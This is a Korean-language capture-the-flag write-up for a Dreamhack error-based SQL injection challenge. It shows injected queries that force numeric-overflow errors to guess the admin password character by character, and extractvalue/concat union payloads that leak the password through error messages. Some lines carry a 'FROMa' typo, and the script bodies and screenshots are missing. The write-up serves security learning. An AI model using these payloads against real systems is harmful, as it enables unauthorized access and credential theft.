🚩Dreamhack - error based sql injection
📂Error & Time based SQL Injection
1. 정보수집


2. Exploit
DB에 있는 정보나 평소 FLAG 형식을 생각해 봤을 때 upw는 DH{ 로 시작할 것 같아 다음과 같은 쿼리를 작성해 보았다.
SELECT * FROMa user WHERE uid = 'admin' and if(substr(upw,1,1) = 'D', 9e307*2, 0)#';
SELECT * FROMa user WHERE uid = 'admin' and if(substr(upw,2,1) = 'H', 9e307*2, 0)#';

2-1 Python script
처음으론 저번 Blind SQLi 문제처럼 파이썬 스크립트를 이용해 보았다.
파이썬 스크립트에서 비밀번호의 길이를 알아내는 반복문을 for i in range(0, 100)으로 하여 실행하는데 아무리 돌려봐도 99를 리턴하고 종료되었다. 99가 리턴되는 이유를 생각해 보면
- 비밀번호의 길이가 0~99 범위 안에 없거나
- break가 포함된 조건문의 조건이 잘못되었거나
인데 1번은 아닐 것 같고.. 실제로 웹 사이트에서 if(length(upw)<99, 9e307*2, 0) 형태로 폼을 작성해도 비밀번호의 길이는 99보다 작다. 두 번째 조건문의 조건이 잘못된 것 같은데 response 결과를 찍어보니




근데 여기서 궁금한 점.. 저번 blinde sqli 문제에선 이 함수를 사용하지 않았는데??
다시 보니 주석의 문제였던 것 같다. 저번 쿼리에서는 주석으로 '--'를 사용했는데 이번에는 '#'을 사용했다.
주석을 #에서 --1 로 바꾸고 실행하니 이번 스크립트도 quote() 함수 없이 잘 돌아갔다.

2-2 Python script - bit

2-3 extractvalue
에러를 발생하면 새로운 페이지에 오류 메시지를 출력하는데 extractvalue 함수와 서브쿼리를 이용하여 upw를 한 번에 화면에 출력하도록 하였다.
- SELECT * FROMa user WHERE uid = 'admin'
union select extractvalue(1, concat(0x3a, (select upw from user where uid='admin')))#'


- SELECT * FROMa user WHERE uid = 'admin'
union select extractvalue(1, concat(0x3a, (select substr(upw,20) from user where uid='admin')))#
